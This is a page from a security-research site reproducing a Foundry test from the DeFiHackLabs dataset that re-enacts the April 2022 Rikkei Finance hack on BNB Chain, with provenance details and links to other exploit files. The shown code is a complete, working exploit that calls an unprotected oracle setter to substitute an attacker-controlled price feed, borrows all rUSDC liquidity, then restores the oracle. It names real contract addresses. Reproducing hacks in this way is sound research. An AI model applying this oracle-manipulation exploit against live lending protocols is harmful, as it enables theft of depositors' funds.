Public reproduction file
src/test/2022-04/Rikkei_exp.sol
Public reproduction file for dataset entry Rikkei Finance.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2// !! THIS FILE WAS AUTOGENERATED BY abi-to-sol v0.5.3. SEE SOURCE BELOW. !!3pragma solidity >=0.7.0 <0.9.0;5import "forge-std/Test.sol";6import "./../interface.sol";8contract ContractTest is Test {9 IERC20 usdc = IERC20(0x8AC76a51cc950d9822D68b83fE1Ad97B32Cd580d);10 IRToken rbnb = IRToken(0x157822aC5fa0Efe98daa4b0A55450f4a182C10cA);11 IRToken rusdc = IRToken(0x916e87d16B2F3E097B9A6375DC7393cf3B5C11f5);12 ICointroller cointroller = ICointroller(0x4f3e801Bd57dC3D641E72f2774280b21d31F64e4);13 ISimplePriceOracle simplePriceOracle = ISimplePriceOracle(0xD55f01B4B51B7F48912cD8Ca3CDD8070A1a9DBa5);14 IPriceFeed chainlinkBNBUSDPriceFeed = IPriceFeed(0x0567F2323251f0Aab15c8dFb1967E4e8A7D42aeE);15 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);17 function setUp() public {18 cheats.createSelectFork("bsc", 16_956_474); //fork bsc at block 1695647419 }21 function testExploit() public {22 emit log_named_uint("Before exploit, USDC balance of attacker:", usdc.balanceOf(address(this)));23 rbnb.approve(address(cointroller), type(uint256).max);24 address[] memory rTokens = new address[](1);25 rTokens[0] = address(rbnb);26 cointroller.enterMarkets(rTokens);27 rbnb.mint{value: 100_000_000_000_000}();28 simplePriceOracle.setOracleData(address(rbnb), address(this));29 rusdc.borrow(rusdc.getCash());30 rusdc.transfer(msg.sender, rusdc.balanceOf(address(this)));31 simplePriceOracle.setOracleData(address(rbnb), address(chainlinkBNBUSDPriceFeed));32 emit log_named_uint("After exploit, USDC balance of attacker:", usdc.balanceOf(address(this)));33 }35 function decimals() external view returns (uint8) {36 return chainlinkBNBUSDPriceFeed.decimals();37 }39 function latestRoundData()40 external41 view42 returns (uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound)43 {44 (roundId, answer, startedAt, updatedAt, answeredInRound) = chainlinkBNBUSDPriceFeed.latestRoundData();45 answer = answer * 1e10;46 }47}Analysis
Dataset entry
Public Foundry test for “Rikkei Finance” (2022-04-15). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
10 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2022-04/AkutarNFT_exp.solSame month in the dataset · 69 lines
- src/test/2022-04/Beanstalk_exp.solSame month in the dataset · 145 lines
- src/test/2022-04/cftoken_exp.solSame month in the dataset · 46 lines
- src/test/2022-04/deus_exp.solSame month in the dataset · 157 lines
- src/test/2022-04/Elephant_Money_exp.solSame month in the dataset · 119 lines
- src/test/2022-04/Gym_1_exp.solSame month in the dataset · 74 lines
- src/test/2022-04/Rari_exp.solSame month in the dataset · 102 lines
- src/test/2022-04/Saddle_exp.solSame month in the dataset · 91 lines
- src/test/2022-04/Wdoge_exp.solSame month in the dataset · 38 lines
- src/test/2022-04/Zeed_exp.solSame month in the dataset · 51 lines
File record
- Name
- Rikkei Finance
- Path
- src/test/2022-04/Rikkei_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 008df4273af35a6503c18eb834b2a6e57ec32d91
- Language
- Solidity
- Size
- 48 lines
- Date
- 2022-04-15
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2022-04/Rikkei_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 008df4273af35a6503c18eb834b2a6e57ec32d91, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.